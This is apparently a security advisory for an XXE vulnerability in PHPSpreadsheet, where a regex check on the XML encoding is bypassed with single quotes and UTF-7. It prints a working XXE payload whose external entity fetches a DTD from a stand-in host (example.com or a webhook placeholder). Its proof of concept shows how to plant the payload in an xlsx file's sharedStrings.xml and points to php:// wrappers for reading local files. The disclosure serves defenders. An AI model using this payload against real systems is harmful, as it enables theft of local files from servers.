GHSA-ghg6-32f9-2jp7HighCVSS 8.8

XXE in PHPSpreadsheet encoding is returned

Published
August 29, 2024
Last Modified
March 6, 2025

🔗 CVE IDs covered (1)

📋 Description

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

🎯 Affected products4

  • composer/phpoffice/phpspreadsheet:< 1.29.1
  • composer/phpoffice/phpspreadsheet:>= 2.2.0, < 2.2.1
  • composer/phpoffice/phpspreadsheet:>= 2.0.0, < 2.1.1
  • composer/phpoffice/phpexcel:<= 1.8.2

🔗 References (4)